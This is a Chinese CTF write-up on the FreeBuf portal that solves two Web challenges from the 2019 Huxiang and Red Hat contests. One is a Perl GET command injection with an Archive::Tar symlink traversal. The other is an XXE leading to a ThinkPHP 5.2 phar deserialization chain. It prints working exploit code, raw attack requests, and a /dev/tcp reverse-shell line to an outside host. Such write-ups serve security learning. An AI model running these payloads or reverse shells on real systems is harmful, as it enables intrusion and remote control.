freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2019湖湘杯和redhat杯的部分Web题解
2019-12-02 15:14:57
所属地 湖南省

原创: L's 合天智汇

前言

通过这两次比赛把自己学到的东西总结一下,不过由于名次掉的太快就没有进入决赛。

5d93d3a517604a3ba90b8c9cd1c6741d

230dc5f1947c4d57b0b5bec74d7e11c7

大家自己体验一波。

0x01 untar

题目给了源码:

sandbox/2aeae26864f775d4cad75f15a6c95d97<?php    $sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);    echo $sandbox."</br>";    @mkdir($sandbox);    @chdir($sandbox);    if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))        die();    $url  = str_replace("|", "", $_GET["url"]);    $data = shell_exec("GET " . escapeshellarg($url));    $info = pathinfo($_GET["filename"]);    $dir  = str_replace(".", "", basename($info["dirname"]));    @mkdir($dir);    @chdir($dir);    @file_put_contents(basename($info["basename"]), $data);    shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));    highlight_file(__FILE__);

于是去搜索了一波。

原题是HITCON 2017,这段代码先通过XFF判断用户的ip,建立沙盒,并且通过GET传入url和filename两个参数,通过filename建立新的目录以及文件名,通过url进行shell_exec的GET命令执行,最终把执行结果放在新生成的目录下的文件名。

里面有几个关键的函数我们先来了解一下。

首先来研究一下pathinfo函数以及basename函数的机制。

7ceae8b6157e4a008735c33f520601cd

下面是pathinfo的测试代码:

<?php$path="/var/www/html/shell.php";$info=pathinfo($path);print $info["dirname"];echo "<br>";print $info["basename"];echo "<br>";print $info["extension"];

结果如下:

/var/www/htmlshell.phpphp

basename()函数返回路径中的文件名部分,如下测试代码:

<?php$path="/var/www/html/shell.php";print basename($path);echo "<br>";print basename($path,".php");echo "<br>";

运行的结果如下:

shell.phpshell

代码对于要建立的目录都会两边basename,如下代码:

<?php$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));echo $dir;echo "<br>";echo $info["dirname"]; //$cecho "<br>";echo basename($info['basename']);

测试的地址参数:

http://localhost/test/demo2.php?url=/&filename=/var/www/html/shell.php

测试的结果如下:

html/var/www/htmlshell.php

如果filename为/a或者a这样的形式,basename($info['basename']);肯定为a的,此时的目录为当前目录,再次用basename返回路径中的文件名肯定为空。如果a/xxx/,$c和$dir返回的都是a,解释一下原因:第一次返回的basename为a其实相当于./a,那么第二次再用basename返回的文件名肯定也是a。理解了之后题目就比较好做了。

escapeshellarg与escapeshellcmd函数

escapeshellarg

1. 确保用户只能传递一个参数给命令。

2. 用户不能指定更多的参数一个。

3. 用户不能执行不同的命令。

就好比是我传入的ls,那么经过函数的操作后就变成了'ls'。同时会对传入的单引号进行一些安全处理,例如传入l's就会变成'l'\''s'。

escapeshellcmd

1.确保用户只执行一个命令

2.用户可以指定不限数量的参数

3.用户不能执行不同的命令

他的作用是将一些危险的符号进行转义,如:

&,|,;,\ `

对于orange师傅的原题是GET命令的漏洞。

根本的原因在于perl的GET函数的底层是调用open处理的,而在perl`中,open是可以执行系统命令的。

例如下面的示例代码:

root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat ./demo.plopen(FD,"|id");print <FD>;root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl ./demo.pluid=0(root) gid=0(root) groups=0(root),999(docker)

从这段命令我们可以看出来perl中的open的作用。同时open是支持file协议的。

The library supports GET and HEAD methods for file requests.  The"If-Modified-Since" header is supported.  All other headers areignored.  The I<host> component of the file URL must be empty or setto "localhost".  Any other I<host> value will be treated as an error.Directories are always converted to an HTML document.  For normalfiles, the "Content-Type" and "Content-Encoding" in the response areguessed based on the file suffix.Example:  $req = HTTP::Request->new(GET => 'file:/etc/passwd');

尝试一下file协议读取GEt 'file:/etc/passwd'或者GET '/etc/passwd',都可以成功读取文件内容。下面可以执行系统命令。

root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  ls|root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# GET 'file:ls|'

通过以上命令成功执行,这里需要注意的是要有存在的文件名才能成功执行命令,所以新建了一个ls|文件。

orange的原题我们可以建立执行的文件名,再通过file协议去执行就可以了。

首先先看一下目录。

通过Payload url=/&filename=xxx,访问沙盒里面的xxx文件。

b66a2d5ada2a41c0a582795cb11300a3

发现flag和readflag,flag是空的,readflag是一个二进制文件,需要通过执行readflag来读取flag。

构造文件名bash -c /readflag,通过如下payload

url=/etc/passwd&filename=bash -c /readflag|
url=file:bash -c /readflag|&filename=a

访问沙盒下的a可以得到flag(这里的/etc/passwd的目的只是为了让我的GET命令请求快点)

第二种方法可以利用反弹shell

url=http://your_vps/port&filename=a
url=/etc/passwd&filename=bash a|
url=file:bash a|&filename=xxx

同样需要在你的vps上放一下一句话反弹bash。

但是上面的这题限制了只能是http或者https,并且过滤了|。

因此上面的方式全部失效了。但是我们注意到了最后一句。

shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));

搜索发现https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834。这是一个perl的目录穿梭漏洞。

这个是比较详细的介绍http://knqyf263.hatenablog.com/entry/2018/06/27/181037

上面会把文件解压到当前的文件夹中。

如下实验:

root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ln -s /tmp/moo mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat <<EOF> foo> #!/bin/sh> echo foo> EOFroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsdemo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar zcvf b.tar.gz * --transform='s/foo/moo/g'demo.plfools|mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar -tvvf b.tar.gz-rw-r--r-- root/root        28 2019-11-11 18:18 demo.pl-rw-r--r-- root/root        19 2019-11-12 11:36 moo-rw-r--r-- root/root         0 2019-11-11 18:28 ls|lrwxrwxrwx root/root         0 2019-11-12 11:36 moo -> /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls /tmp/mools: cannot access '/tmp/moo': No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'$: command not foundroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz  demo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'Making symbolic link '/root/perl_file/moo' to '/tmp/moo' failed at -e line 1.root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moo#!/bin/shecho fooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# lsb.tar.gz  demo.pl  foo  ls|  mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# rm -rf /tmp/mooroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moocat: /tmp/moo: No such file or directoryroot@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file#

因此可以这样构造:

ln -s /var/www/html/sandbox/wen.php wentar -cf b.tar wenrm wenecho '<?php echo system("/readflag");'>wentar -rf b.tar wen

同时我们还可以使用这个来归档为同名文件

tar zcvf b.tar.gz * --transform='s/{你的文件名}{软连接}'

然后通过访问包含我们的b.tar

http://183.129.189.62:17507/?url=http://123.57.232.69:8302/php_file/b.tar&filename=b.tar

然后在沙盒中可以看到b.tar文件。

然后再通过包含sandbox的文件来rce。

http://183.129.189.62:17507/?url=http://183.129.189.62:17507/sandbox/2aeae26864f775d4cad75f15a6c95d97/b.tar&filename=b.tar


######最后我们访问

http://183.129.189.62:17507/sandbox/wen.php


拿到flag如下:

flag{3c3bf67443640154c155ce9b2eb5ce7a}

0x02 Ticket_system[12end师傅]

题目描述:

1. 首先题目有个文件上传的点,然后有个可以提交xml的地方。那么我们就可以通过这两个点了展开我们的攻击。

2. 现在我们先尝试一下xxe:

f0c42d76a65543d7b929c77b3c3c3b88

可以看到成功的读取了本地文件。

看到这里,小伙伴是不是也想体验一把呢,复制链接吧。http://www.hetianlab.com/expc.do?ec=ECID0666-af7d-40b9-9d16-595586298c54XML 《外部实体注入漏洞》

afbfc5aa63eb442d8ae1e70185c6d7f0

我们通过读取源码发现是thinkPhp的空架版本是5.2.0,通过搜索找到了Smile的一个5.2.x的版本的反序列化链,下面是payload:

<?phpnamespace think\process\pipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = array($files);        }    }}
namespace think\model\concern {    trait Conversion    {        protected $append = array("Smi1e" => "1");    }
    trait Attribute    {        private $data;        private $withAttr = array("Smi1e" => "system");
        public function get($system){            $this->data = array("Smi1e" => "$system");        }    }}namespace think {    abstract class Model    {        use model\concern\Attribute;        use model\concern\Conversion;    }}
namespace think\model{    use think\Model;    class Pivot extends Model{        public function __construct($system){            $this->get($system);        }    }}
namespace {    $Conver = new think\model\Pivot("sleep 100");    $payload = new think\process\pipes\Windows($Conver);    @unlink("phar.phar");    $phar = new Phar("phar.phar"); //后缀名必须为phar    $phar->startBuffering();    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub    $phar->setMetadata($payload); //将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算    $phar->stopBuffering();    echo urlencode(serialize($payload));}?>

我们配合phar://反序列化进行rce。

POST /postXML HTTP/1.1Host: 47.105.78.102User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept: application/xml, text/xml, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/xml;charset=utf-8X-Requested-With: XMLHttpRequestContent-Length: 227Connection: closeReferer: http://47.105.78.102/ticketCookie: PHPSESSID=lhps1inapcge7mumnt07jrqn82
<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY xxe SYSTEM "phar:///tmp/uploads/21232f297a57a5a743894a0e4a801fc3/20191110/acfeb10ed83aad76c0c2249ce7e93996.xml" >]><ticket><username>&xxe;</username><code>1111111</code></ticket>

将sleep 100改成bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1',然后在自己的服务器监听一下。就可以反弹shell了。

getshell后发现并不能读取flag文件由于对www-data有权限的设置,但是在根目录下有一个readflag的二进制文件,但是执行它会出现一个随机计算的式子,由于nc这样的shell不能交互,但是上面有php和perl的环境那么我们可以上传文件去执行建立交互。从从而获得flag。

<?php$descriptorspec = array(   0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据   1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件);
$cwd = '/tmp';$env = array('some_option' => 'aeiou');
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {    // $pipes 现在看起来是这样的:    // 0 => 可以向子进程标准输入写入的句柄    // 1 => 可以从子进程标准输出读取的句柄    // 错误输出将被追加到文件 /tmp/error-output.txt
    //fwrite($pipes[0], '');    //fclose($pipes[0]);
        $output1 = fread($pipes[1],1024);        var_dump($output);        $output2 = fread($pipes[1],1024);        var_dump($output);        $output3 = fread($pipes[1],1024);        var_dump($output);
    $calc = trim($output2);    $an = eval("return $calc;");    var_dump($an);    fwrite($pipes[0], (string)$an."\n");
    $output = stream_get_contents($pipes[1]);    var_dump($output);

    // 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。    $return_value = proc_close($process);
    echo "command returned $return_value\n";}?>

运行的结果:

91378a6fcef043b9859b0fb21a89be93

参考链接

https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

# 合天智汇
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者